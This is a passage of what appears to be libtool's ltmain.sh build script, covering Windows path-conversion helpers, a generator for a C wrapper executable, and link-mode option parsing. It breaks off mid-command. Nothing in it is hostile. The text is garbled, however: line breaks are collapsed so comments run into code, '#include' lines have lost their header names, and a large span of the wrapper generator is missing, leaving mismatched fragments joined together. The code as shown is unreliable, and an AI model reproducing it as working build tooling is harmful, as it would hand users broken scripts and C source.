cygwin. Calling this function does no harm for other # $host/$build combinations not listed above. # # ARG is the path (on $build) that should be converted to # the proper representation for $host. The result is stored # in $func_to_host_path_result. func_to_host_path () { func_to_host_path_result="$1" if test -n "$1" ; then case $host in *mingw* ) lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g' case $build in *mingw* ) # actually, msys # awkward: cmd appends spaces to result lt_sed_strip_trailing_spaces="s/[ ]*\$//" func_to_host_path_tmp1=`( cmd //c echo "$1" |\ $SED -e "$lt_sed_strip_trailing_spaces" ) 2>/dev/null || echo ""` func_to_host_path_result=`echo "$func_to_host_path_tmp1" |\ $SED -e "$lt_sed_naive_backslashify"` ;; *cygwin* ) func_to_host_path_tmp1=`cygpath -w "$1"` func_to_host_path_result=`echo "$func_to_host_path_tmp1" |\ $SED -e "$lt_sed_naive_backslashify"` ;; * ) # Unfortunately, winepath does not exit with a non-zero # error code, so we are forced to check the contents of # stdout. On the other hand, if the command is not # found, the shell will set an exit code of 127 and print # *an error message* to stdout. So we must check for both # error code of zero AND non-empty stdout, which explains # the odd construction: func_to_host_path_tmp1=`winepath -w "$1" 2>/dev/null` if test "$?" -eq 0 && test -n "${func_to_host_path_tmp1}"; then func_to_host_path_result=`echo "$func_to_host_path_tmp1" |\ $SED -e "$lt_sed_naive_backslashify"` else # Allow warning below. func_to_host_path_result="" fi ;; esac if test -z "$func_to_host_path_result" ; then func_error "Could not determine host path corresponding to" func_error " '$1'" func_error "Continuing, but uninstalled executables may not work." # Fallback: func_to_host_path_result="$1" fi ;; esac fi } # end: func_to_host_path # func_to_host_pathlist arg # # Convert pathlists to host format when used with build tools. # See func_to_host_path(), above. This function supports the # following $build/$host combinations (but does no harm for # combinations not listed here): # $build $host # mingw (msys) mingw [e.g. native] # cygwin mingw # *nix + wine mingw # # Path separators are also converted from $build format to # $host format. If ARG begins or ends with a path separator # character, it is preserved (but converted to $host format) # on output. # # ARG is a pathlist (on $build) that should be converted to # the proper representation on $host. The result is stored # in $func_to_host_pathlist_result. func_to_host_pathlist () { func_to_host_pathlist_result="$1" if test -n "$1" ; then case $host in *mingw* ) lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g' # Remove leading and trailing path separator characters from # ARG. msys behavior is inconsistent here, cygpath turns them # into '.;' and ';.', and winepath ignores them completely. func_to_host_pathlist_tmp2="$1" # Once set for this call, this variable should not be # reassigned. It is used in tha fallback case. func_to_host_pathlist_tmp1=`echo "$func_to_host_pathlist_tmp2" |\ $SED -e 's|^:*||' -e 's|:*$||'` case $build in *mingw* ) # Actually, msys. # Awkward: cmd appends spaces to result. lt_sed_strip_trailing_spaces="s/[ ]*\$//" func_to_host_pathlist_tmp2=`( cmd //c echo "$func_to_host_pathlist_tmp1" |\ $SED -e "$lt_sed_strip_trailing_spaces" ) 2>/dev/null || echo ""` func_to_host_pathlist_result=`echo "$func_to_host_pathlist_tmp2" |\ $SED -e "$lt_sed_naive_backslashify"` ;; *cygwin* ) func_to_host_pathlist_tmp2=`cygpath -w -p "$func_to_host_pathlist_tmp1"` func_to_host_pathlist_result=`echo "$func_to_host_pathlist_tmp2" |\ $SED -e "$lt_sed_naive_backslashify"` ;; * ) # unfortunately, winepath doesn't convert pathlists func_to_host_pathlist_result="" func_to_host_pathlist_oldIFS=$IFS IFS=: for func_to_host_pathlist_f in $func_to_host_pathlist_tmp1 ; do IFS=$func_to_host_pathlist_oldIFS if test -n "$func_to_host_pathlist_f" ; then func_to_host_path "$func_to_host_pathlist_f" if test -n "$func_to_host_path_result" ; then if test -z "$func_to_host_pathlist_result" ; then func_to_host_pathlist_result="$func_to_host_path_result" else func_to_host_pathlist_result="$func_to_host_pathlist_result;$func_to_host_path_result" fi fi fi IFS=: done IFS=$func_to_host_pathlist_oldIFS ;; esac if test -z "$func_to_host_pathlist_result" ; then func_error "Could not determine the host path(s) corresponding to" func_error " '$1'" func_error "Continuing, but uninstalled executables may not work." # Fallback. This may break if $1 contains DOS-style drive # specifications. The fix is not to complicate the expression # below, but for the user to provide a working wine installation # with winepath so that path translation in the cross-to-mingw # case works properly. lt_replace_pathsep_nix_to_dos="s|:|;|g" func_to_host_pathlist_result=`echo "$func_to_host_pathlist_tmp1" |\ $SED -e "$lt_replace_pathsep_nix_to_dos"` fi # Now, add the leading and trailing path separators back case "$1" in :* ) func_to_host_pathlist_result=";$func_to_host_pathlist_result" ;; esac case "$1" in *: ) func_to_host_pathlist_result="$func_to_host_pathlist_result;" ;; esac ;; esac fi } # end: func_to_host_pathlist # func_emit_cwrapperexe_src # emit the source code for a wrapper executable on stdout # Must ONLY be called from within func_mode_link because # it depends on a number of variable set therein. func_emit_cwrapperexe_src () { cat < #include #ifdef _MSC_VER # include # include # include # define setmode _setmode #else # include # include # ifdef __CYGWIN__ # include # define HAVE_SETENV # ifdef __STRICT_ANSI__ char *realpath (const char *, char *); int putenv (char *); int setenv (const char *, const char *, int); # endif # endif #endif #include #include #include #include #include #include #include #include #if defined(PATH_MAX) # define LT_PATHMAX PATH_MAX #elif defined(MAXPATHLEN) # define LT_PATHMAX MAXPATHLEN #else # define LT_PATHMAX 1024 #endif #ifndef S_IXOTH # define S_IXOTH 0 #endif #ifndef S_IXGRP # define S_IXGRP 0 #endif #ifdef _MSC_VER # define S_IXUSR _S_IEXEC # define stat _stat # ifndef _INTPTR_T_DEFINED # define intptr_t int # endif #endif #ifndef DIR_SEPARATOR # define DIR_SEPARATOR '/' # define PATH_SEPARATOR ':' #endif #if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \ defined (__OS2__) # define HAVE_DOS_BASED_FILE_SYSTEM # define FOPEN_WB "wb" # ifndef DIR_SEPARATOR_2 # define DIR_SEPARATOR_2 '\\' # endif # ifndef PATH_SEPARATOR_2 # define PATH_SEPARATOR_2 ';' # endif #endif #ifndef DIR_SEPARATOR_2 # define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) #else /* DIR_SEPARATOR_2 */ # define IS_DIR_SEPARATOR(ch) \ (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) #endif /* DIR_SEPARATOR_2 */ #ifndef PATH_SEPARATOR_2 # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR) #else /* PATH_SEPARATOR_2 */ # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2) #endif /* PATH_SEPARATOR_2 */ #ifdef __CYGWIN__ # define FOPEN_WB "wb" #endif #ifndef FOPEN_WB # define FOPEN_WB "w" #endif #ifndef _O_BINARY # define _O_BINARY 0 #endif #define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) #define XFREE(stale) do { \ if (stale) { free ((void *) stale); stale = 0; } \ } while (0) #undef LTWRAPPER_DEBUGPRINTF #if defined DEBUGWRAPPER # define LTWRAPPER_DEBUGPRINTF(args) ltwrapper_debugprintf args static void ltwrapper_debugprintf (const char *fmt, ...) { va_list args; va_start (args, fmt); (void) vfprintf (stderr, fmt, args); va_end (args); } #else # define LTWRAPPER_DEBUGPRINTF(args) #endif const char *program_name = NULL; void *xmalloc (size_t num); char *xstrdup (const char *string); const char *base_name (const char *name); char *find_executable (const char *wrapper); char *chase_symlinks (const char *pathspec); int make_executable (const char *path); int check_executable (const char *path); char *strendzap (char *str, const char *pat); void lt_fatal (const char *message, ...); void lt_setenv (const char *name, const char *value); char *lt_extend_str (const char *orig_value, const char *add, int to_end); void lt_opt_process_env_set (const char *arg); void lt_opt_process_env_prepend (const char *arg); void lt_opt_process_env_append (const char *arg); int lt_split_name_value (const char *arg, char** name, char** value); void lt_update_exe_path (const char *name, const char *value); void lt_update_lib_path (const char *name, const char *value); static const char *script_text_part1 = EOF func_emit_wrapper_part1 yes | $SED -e 's/\([\\"]\)/\\\1/g' \ -e 's/^/ "/' -e 's/$/\\n"/' echo ";" cat <"))); for (i = 0; i < newargc; i++) { LTWRAPPER_DEBUGPRINTF (("(main) newargz[%d] : %s\n", i, (newargz[i] ? newargz[i] : ""))); } EOF case $host_os in mingw*) cat <<"EOF" /* execv doesn't actually work on mingw as expected on unix */ rval = _spawnv (_P_WAIT, lt_argv_zero, (const char * const *) newargz); if (rval == -1) { /* failed to start process */ LTWRAPPER_DEBUGPRINTF (("(main) failed to launch target \"%s\": errno = %d\n", lt_argv_zero, errno)); return 127; } return rval; EOF ;; *) cat <<"EOF" execv (lt_argv_zero, newargz); return rval; /* =127, but avoids unused variable warning */ EOF ;; esac cat <<"EOF" } void * xmalloc (size_t num) { void *p = (void *) malloc (num); if (!p) lt_fatal ("Memory exhausted"); return p; } char * xstrdup (const char *string) { return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL; } const char * base_name (const char *name) { const char *base; #if defined (HAVE_DOS_BASED_FILE_SYSTEM) /* Skip over the disk name in MSDOS pathnames. */ if (isalpha ((unsigned char) name[0]) && name[1] == ':') name += 2; #endif for (base = name; *name; name++) if (IS_DIR_SEPARATOR (*name)) base = name + 1; return base; } int check_executable (const char *path) { struct stat st; LTWRAPPER_DEBUGPRINTF (("(check_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!")); if ((!path) || (!*path)) return 0; if ((stat (path, &st) >= 0) && (st.st_mode & (S_IXUSR | S_IXGRP | S_IXOTH))) return 1; else return 0; } int make_executable (const char *path) { int rval = 0; struct stat st; LTWRAPPER_DEBUGPRINTF (("(make_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!")); if ((!path) || (!*path)) return 0; if (stat (path, &st) >= 0) { rval = chmod (path, st.st_mode | S_IXOTH | S_IXGRP | S_IXUSR); } return rval; } /* Searches for the full path of the wrapper. Returns newly allocated full path name if found, NULL otherwise Does not chase symlinks, even on platforms that support them. */ char * find_executable (const char *wrapper) { int has_slash = 0; const char *p; const char *p_next; /* static buffer for getcwd */ char tmp[LT_PATHMAX + 1]; int tmp_len; char *concat_name; LTWRAPPER_DEBUGPRINTF (("(find_executable) : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!")); if ((wrapper == NULL) || (*wrapper == '\0')) return NULL; /* Absolute path? */ #if defined (HAVE_DOS_BASED_FILE_SYSTEM) if (isalpha ((unsigned char) wrapper[0]) && wrapper[1] == ':') { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } else { #endif if (IS_DIR_SEPARATOR (wrapper[0])) { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } #if defined (HAVE_DOS_BASED_FILE_SYSTEM) } #endif for (p = wrapper; *p; p++) if (*p == '/') { has_slash = 1; break; } if (!has_slash) { /* no slashes; search PATH */ const char *path = getenv ("PATH"); if (path != NULL) { for (p = path; *p; p = p_next) { const char *q; size_t p_len; for (q = p; *q; q++) if (IS_PATH_SEPARATOR (*q)) break; p_len = q - p; p_next = (*q == '\0' ? q : q + 1); if (p_len == 0) { /* empty path: current directory */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal ("getcwd failed"); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); } else { concat_name = XMALLOC (char, p_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, p, p_len); concat_name[p_len] = '/'; strcpy (concat_name + p_len + 1, wrapper); } if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } } /* not found in PATH; assume curdir */ } /* Relative path | not found in path: prepend cwd */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal ("getcwd failed"); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); return NULL; } char * chase_symlinks (const char *pathspec) { #ifndef S_ISLNK return xstrdup (pathspec); #else char buf[LT_PATHMAX]; struct stat s; char *tmp_pathspec = xstrdup (pathspec); char *p; int has_symlinks = 0; while (strlen (tmp_pathspec) && !has_symlinks) { LTWRAPPER_DEBUGPRINTF (("checking path component for symlinks: %s\n", tmp_pathspec)); if (lstat (tmp_pathspec, &s) == 0) { if (S_ISLNK (s.st_mode) != 0) { has_symlinks = 1; break; } /* search backwards for last DIR_SEPARATOR */ p = tmp_pathspec + strlen (tmp_pathspec) - 1; while ((p > tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) p--; if ((p == tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) { /* no more DIR_SEPARATORS left */ break; } *p = '\0'; } else { char *errstr = strerror (errno); lt_fatal ("Error accessing file %s (%s)", tmp_pathspec, errstr); } } XFREE (tmp_pathspec); if (!has_symlinks) { return xstrdup (pathspec); } tmp_pathspec = realpath (pathspec, buf); if (tmp_pathspec == 0) { lt_fatal ("Could not follow symlinks for %s", pathspec); } return xstrdup (tmp_pathspec); #endif } char * strendzap (char *str, const char *pat) { size_t len, patlen; assert (str != NULL); assert (pat != NULL); len = strlen (str); patlen = strlen (pat); if (patlen <= len) { str += len - patlen; if (strcmp (str, pat) == 0) *str = '\0'; } return str; } static void lt_error_core (int exit_status, const char *mode, const char *message, va_list ap) { fprintf (stderr, "%s: %s: ", program_name, mode); vfprintf (stderr, message, ap); fprintf (stderr, ".\n"); if (exit_status >= 0) exit (exit_status); } void lt_fatal (const char *message, ...) { va_list ap; va_start (ap, message); lt_error_core (EXIT_FAILURE, "FATAL", message, ap); va_end (ap); } void lt_setenv (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_setenv) setting '%s' to '%s'\n", (name ? name : ""), (value ? value : ""))); { #ifdef HAVE_SETENV /* always make a copy, for consistency with !HAVE_SETENV */ char *str = xstrdup (value); setenv (name, str, 1); #else int len = strlen (name) + 1 + strlen (value) + 1; char *str = XMALLOC (char, len); sprintf (str, "%s=%s", name, value); if (putenv (str) != EXIT_SUCCESS) { XFREE (str); } #endif } } char * lt_extend_str (const char *orig_value, const char *add, int to_end) { char *new_value; if (orig_value && *orig_value) { int orig_value_len = strlen (orig_value); int add_len = strlen (add); new_value = XMALLOC (char, add_len + orig_value_len + 1); if (to_end) { strcpy (new_value, orig_value); strcpy (new_value + orig_value_len, add); } else { strcpy (new_value, add); strcpy (new_value + add_len, orig_value); } } else { new_value = xstrdup (add); } return new_value; } int lt_split_name_value (const char *arg, char** name, char** value) { const char *p; int len; if (!arg || !*arg) return 1; p = strchr (arg, (int)'='); if (!p) return 1; *value = xstrdup (++p); len = strlen (arg) - strlen (*value); *name = XMALLOC (char, len); strncpy (*name, arg, len-1); (*name)[len - 1] = '\0'; return 0; } void lt_opt_process_env_set (const char *arg) { char *name = NULL; char *value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_set_opt, arg); } lt_setenv (name, value); XFREE (name); XFREE (value); } void lt_opt_process_env_prepend (const char *arg) { char *name = NULL; char *value = NULL; char *new_value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_prepend_opt, arg); } new_value = lt_extend_str (getenv (name), value, 0); lt_setenv (name, new_value); XFREE (new_value); XFREE (name); XFREE (value); } void lt_opt_process_env_append (const char *arg) { char *name = NULL; char *value = NULL; char *new_value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_append_opt, arg); } new_value = lt_extend_str (getenv (name), value, 1); lt_setenv (name, new_value); XFREE (new_value); XFREE (name); XFREE (value); } void lt_update_exe_path (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_update_exe_path) modifying '%s' by prepending '%s'\n", (name ? name : ""), (value ? value : ""))); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); /* some systems can't cope with a ':'-terminated path #' */ int len = strlen (new_value); while (((len = strlen (new_value)) > 0) && IS_PATH_SEPARATOR (new_value[len-1])) { new_value[len-1] = '\0'; } lt_setenv (name, new_value); XFREE (new_value); } } void lt_update_lib_path (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_update_lib_path) modifying '%s' by prepending '%s'\n", (name ? name : ""), (value ? value : ""))); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); lt_setenv (name, new_value); XFREE (new_value); } } EOF } # end: func_emit_cwrapperexe_src # func_mode_link arg... func_mode_link () { $opt_debug case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) # It is impossible to link a dll without this setting, and # we shouldn't force the makefile maintainer to figure out # which system we are compiling for in order to pass an extra # flag for every libtool invocation. # allow_undefined=no # FIXME: Unfortunately, there are problems with the above when trying # to make a dll which has undefined symbols, in which case not # even a static library is built. For now, we need to specify # -no-undefined on the libtool link line when we can be certain # that all symbols are satisfied, otherwise we get a static library. allow_undefined=yes ;; *) allow_undefined=yes ;; esac libtool_args=$nonopt base_compile="$nonopt $@" compile_command=$nonopt finalize_command=$nonopt compile_rpath= finalize_rpath= compile_shlibpath= finalize_shlibpath= convenience= old_convenience= deplibs= old_deplibs= compiler_flags= linker_flags= dllsearchpath= lib_search_path=`pwd` inst_prefix_dir= new_inherited_linker_flags= avoid_version=no dlfiles= dlprefiles= dlself=no export_dynamic=no export_symbols= export_symbols_regex= generated= libobjs= ltlibs= module=no no_install=no objs= non_pic_objects= precious_files_regex= prefer_static_libs=no preload=no prev= prevarg= release= rpath= xrpath= perm_rpath= temp_rpath= thread_safe=no vinfo= vinfo_number=no weak_libs= single_module="${wl}-single_module" func_infer_tag $base_compile # We need to know -static, to get the right output filenames. for arg do case $arg in -shared) test "$build_libtool_libs" != yes && \ func_fatal_configuration "can not build a shared library" build_old_libs=no break ;; -all-static | -static | -static-libtool-libs) case $arg in -all-static) if test "$build_libtool_libs" = yes && test -z "$link_static_flag"; then func_warning "complete static linking is impossible in this configuration" fi if test -n "$link_static_flag"; then dlopen_self=$dlopen_self_static fi prefer_static_libs=yes ;; -static) if test -z "$pic_flag" && test -n "$link_static_flag"; then dlopen_self=$dlopen_self_static fi prefer_static_libs=built ;; -static-libtool-libs) if test -z "$pic_flag" && test -n "$link_static_flag"; then dlopen_self=$dlopen_self_static fi prefer_static_libs=yes ;; esac build_libtool_libs=no build_old_libs=yes break ;; esac done # See if our shared archives depend on static archives. test -n "$old_archive_from_new_cmds" && build_old_libs=yes # Go through the arguments, transforming them on the way. while test "$#" -gt 0; do arg="$1" shift func_quote_for_eval "$arg" qarg=$func_quote_for_eval_unquoted_result func_append libtool_args " $func_quote_for_eval_result" # If the previous option needs an argument, assign it. if test -n "$prev"; then case $prev in output) func_append compile_command " @OUTPUT@" func_append finalize_command " @OUTPUT@" ;; esac case $prev in dlfiles|dlprefiles) if test "$preload" = no; then # Add the symbol object into the linking commands. func_append compile_command " @SYMFILE@" func_append finalize_command " @SYMFILE@" preload=yes fi case $arg in *.la | *.lo) ;; # We handle these cases below. force) if test "$dlself" = no; then dlself=needless export_dynamic=yes fi prev= continue ;; self) if test "$prev" = dlprefiles; then dlself=yes elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then dlself=yes else dlself=needless export_dynamic=yes fi prev= continue ;; *) if test "$prev" = dlfiles; then dlfiles="$dlfiles $arg" else dlprefiles="$dlprefiles $arg" fi prev= continue ;; esac ;; expsyms) export_symbols="$arg" test -f "$arg" \ || func_fatal_error "symbol file \`$arg' does not exist" prev= continue ;; expsyms_regex) export_symbols_regex="$arg" prev= continue ;; framework) case $host in *-*-darwin*) case "$deplibs " in *" $qarg.ltframework "*) ;; *) deplibs="$deplibs $qarg.ltframework" # this is fixed later ;; esac ;; esac prev= continue ;; inst_prefix) inst_prefix_dir="$arg" prev= continue ;; objectlist) if test -f "$arg"; then save_arg=$arg moreargs= for fil in `cat "$save_arg"` do # moreargs="$moreargs $fil" arg=$fil # A libtool-controlled object. # Check to see that this really is a libtool object. if func_lalib_unsafe_p "$arg"; then pic_object= non_pic_object= # Read the .lo file func_source "$arg" if test -z "$pic_object" || test -z "$non_pic_object" || test "$pic_object" = none && test "$non_pic_object" = none; then func_fatal_error "cannot find name of object for \`$arg'" fi # Extract subdirectory from the argument. func_dirname "$arg" "/" "" xdir="$func_dirname_result" if test "$pic_object" != none; then # Prepend the subdirectory the object is found in. pic_object="$xdir$pic_object" if test "$prev" = dlfiles; then if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then dlfiles="$dlfiles $pic_object" prev= continue else # If libtool objects are unsupported, then we need to preload. prev=dlprefiles fi fi # CHECK ME: I think I busted this. -Ossama if test "$prev" = dlprefiles; then # Preload the old-style object. dlprefiles="$dlprefiles $pic_object" prev= fi # A PIC object. func_append libobjs " $pic_object" arg="$pic_object" fi # Non-PIC object. if test "$non_pic_object" != none; then # Prepend the subdirectory the object is found in. non_pic_object="$xdir$non_pic_object" # A standard non-PIC object func_append non_pic_objects " $non_pic_object" if test -z "$pic_object" || test "$pic_object" = none ; then arg="$non_pic_object" fi else # If the PIC object exists, use it instead. # $xdir was prepended to $pic_object above. non_pic_object="$pic_object" func_append non_pic_objects " $non_pic_object" fi else # Only an error if not doing a dry-run. if $opt_dry_run; then # Extract subdirectory from the argument. func_dirname "$arg" "/" "" xdir="$func_dirname_result" func_lo2o "$arg" pic_object=$xdir$objdir/$func_lo2o_result non_pic_object=$xdir$func_lo2o_result func_append libobjs " $pic_object" func_append non_pic_objects " $non_pic_object" else func_fatal_error "\`$arg' is not a valid libtool object" fi fi done else func_fatal_error "link input file \`$arg' does not exist" fi arg=$save_arg prev= continue ;; precious_regex) precious_files_regex="$arg" prev= continue ;; release) release="-$arg" prev= continue ;; rpath | xrpath) # We need an absolute path. case $arg in [\\/]* | [A-Za-z]:[\\/]*) ;; *) func_fatal_error "only absolute run-paths are allowed" ;; esac if test "$prev" = rpath; then case "$rpath " in *" $arg "*) ;; *) rpath="$rpath $arg" ;; esac else case "$xrpath " in *" $arg "*) ;; *) xrpath="$xrpath $arg" ;; esac fi prev= continue ;; shrext) shrext_cmds="$arg" prev= continue ;; weak) weak_libs="$weak_libs $arg" prev= continue ;; xcclinker) linker_flags="$linker_flags $qarg" compiler_flags="$compiler_flags $qarg" prev= func_append compile_command " $qarg" func_append finalize_command " $qarg" continue ;; xcompiler) compiler_flags="$compiler_flags $qarg" prev= func_append compile_command " $qarg" func_append finalize_command " $qarg" continue ;; xlinker) linker_flags="$linker_flags $qarg" compiler_flags="$compiler_flags $wl$qarg" prev= func_append compile_command " $wl$qarg" func_append finalize_command " $wl$qarg" continue ;; *) eval "$prev=\"\$arg\"" prev= continue ;; esac fi # test -n "$prev" prevarg="$arg" case $arg in -all-static) if test -n "$link_static_flag"; then # See comment for -static flag below, for more details. func_append compile_command " $link_static_flag" func_append finalize_command " $link_static_flag" fi continue ;; -allow-undefined) # FIXME: remove this flag sometime in the future. func_fatal_error "\`-allow-undefined' must not be used because it is the default" ;; -avoid-version) avoid_version=yes continue ;; -dlopen) prev=dlfiles continue ;; -dlpreopen) prev=dlprefiles continue ;; -export-dynamic) export_dynamic=yes continue ;; -export-symbols | -export-symbols-regex) if test -n "$export_symbols" || test -n "$export_symbols_regex"; then func_fatal_error "more than one -exported-symbols argument is not allowed" fi if test "X$arg" = "X-export-symbols"; then prev=expsyms else prev=expsyms_regex fi continue ;; -framework) prev=framework continue ;; -inst-prefix-dir) prev=inst_prefix continue ;; # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:* # so, if we see these flags be careful not to treat them like -L -L[A-Z][A-Z]*:*) case $with_gcc/$host in no/*-*-irix* | /*-*-irix*) func_append compile_command " $arg" func_append finalize_command " $arg" ;; esac continue ;; -L*) func_stripname '-L' '' "$arg" dir=$func_stripname_result if test -z "$dir"; then if test "$#" -gt 0; then func_fatal_error "require no space between \`-L' and \`$1'" else func_fatal_error "need path for \`-L' option" fi fi # We need an absolute path. case $dir in [\\/]* | [A-Za-z]:[\\/]*) ;; *) absdir=`cd "$dir" && pwd` test -z "$absdir" && \ func_fatal_error "cannot determine absolute directory name of \`$dir'" dir="$absdir" ;; esac case "$deplibs " in *" -L$dir "*) ;; *) deplibs="$deplibs -L$dir" lib_search_path="$lib_search_path $dir" ;; esac case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) testbindir=`$ECHO "X$dir" | $Xsed -e 's*/lib$*/bin*'` case :$dllsearchpath: in *":$dir:"*) ;; ::) dllsearchpath=$dir;; *) dllsearchpath="$dllsearchpath:$dir";; esac case :$dllsearchpath: in *":$testbindir:"*) ;; ::) dllsearchpath=$testbindir;; *) dllsearchpath="$dllsearchpath:$testbindir";; esac ;; esac continue ;; -l*) if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos* | *-cegcc*) # These systems don't actually have a C or math library (as such) continue ;; *-*-os2*) # These systems don't actually have a C library (as such) test "X$arg" = "X-lc" && continue ;; *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) # Do not include libc due to us having libc/libc_r. test "X$arg" = "X-lc" && continue ;; *-*-rhapsody* | *-*-darwin1.[012]) # Rhapsody C and math libraries are in the System framework deplibs="$deplibs System.ltframework" continue ;; *-*-sco3.2v5* | *-*-sco5v6*) # Causes problems with __ctype test "X$arg" = "X-lc" && continue ;; *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) # Compiler inserts libc in the correct place for threads to work test "X$arg" = "X-lc" && continue ;; esac elif test "X$arg" = "X-lc_r"; then case $host in *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) # Do not include libc_r directly, use -pthread flag. continue ;; esac fi deplibs="$deplibs $arg" continue ;; -module) module=yes continue ;; # Tru64 UNIX uses -model [arg] to determine the layout of C++ # classes, name mangling, and exception handling. # Darwin uses the -arch flag to determine output architecture. -model|-arch|-isysroot) compiler_flags="$compiler_flags $arg" func_append compile_command " $arg" func_append finalize_command " $arg" prev=xcompiler continue ;; -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe|-threads) compiler_flags="$compiler_flags $arg" func_append compile_command " $arg" func_append finalize_command " $arg" case "$new_inherited_linker_flags " in *" $arg "*) ;; * ) new_inherited_linker_flags="$new_inherited_linker_flags $arg" ;; esac continue ;; -multi_module) single_module="${wl}-multi_module" continue ;; -no-fast-install) fast_install=no continue ;; -no-install) case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-darwin* | *-cegcc*) # The PATH hackery in wrapper scripts is required on Windows # and Darwin in order for the loader to find any dlls it needs. func_warning "\`-no-install' is ignored for $host" func_warning "assuming \`-no-fast-install' instead" fast_install=no ;; *) no_install=yes ;; esac continue ;; -no-undefined) allow_undefined=no continue ;; -objectlist) prev=objectlist continue ;; -o) prev=output ;; -precious-files-regex) prev=precious_regex continue ;; -release) prev=release continue ;; -rpath) prev=rpath continue ;; -R) prev=xrpath continue ;; -R*) func_stripname '-R' '' "$arg" dir=$func_stripname_result # We need an absolute path. case $dir in [\\/]* | [A-Za-z]:[\\/]*) ;; *) func_fatal_error "only absolute run-paths are allowed" ;; esac case "$xrpath " in *" $dir "*) ;; *) xrpath="$xrpath $dir" ;; esac continue ;; -shared) # The effects of -shared are defined in a previous loop. continue ;; -shrext) prev=shrext continue ;; -static | -static-libtool-libs) # The effects of -static are defined in a previous loop. # We used to do the same as -all-static on platforms that # didn't have a PIC flag, but the assumption that the effects # would be equivalent was wrong. It would break on at least # Digital Unix and AIX. continue ;; -thread-safe) thread_safe=yes continue ;; -version-info) prev=vinfo continue ;; -version-number) prev=vinfo vinfo_number=yes continue ;; -weak) prev=weak continue ;; -Wc,*) func_stripname '-Wc,' '' "$arg" args=$func_stripname_result arg= save_ifs="$IFS"; IFS=',' for flag in $args; do IFS="$save_ifs" func_quote_for_eval "$flag" arg="$arg $wl$func_quote_for_eval_result" compiler_flags="$compiler_flags $func_quote_for_eval_result" done IFS="$save_ifs" func_stripname ' ' '' "$arg" arg=$func_stripname_result ;; -Wl,*) func_stripname '-Wl,' '' "$arg" args=$func_stripname_result arg= save_ifs="$IFS"; IFS=',' for flag in $args; do IFS="$save_ifs" func_quote_for_eval "$flag" arg="$arg $wl$func_quote_for_eval_result" compiler_flags="$compiler_flags $wl$func_quote_for_eval_result" linker_flags="$linker_flags $func_quote_for_eval_result" done IFS="$save_ifs" func_stripname ' ' '' "$arg" arg=$func_stripname_result ;; -Xcompiler) prev=xcompiler continue ;; -Xlinker) prev=xlinker continue ;; -XCClinker) prev=xcclinker continue ;; # -msg_* for osf cc -msg_*) func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" ;; # -64, -mips[0-9] enable 64-bit mode on the SGI compiler # -r[0-9][0-9]* specifies the processor on the SGI compiler # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler # +DA*, +DD* enable 64-bit mode on the HP compiler # -q* pass through compiler args for the IBM compiler # -m*, -t[45]*, -txscale* pass through architecture-specific # compiler args for GCC # -F/path gives path to uninstalled frameworks, gcc on darwin # -p, -pg, --coverage, -fprofile-* pass through profiling flag for GCC # @file GCC response files -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*) func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" func_append compile_command 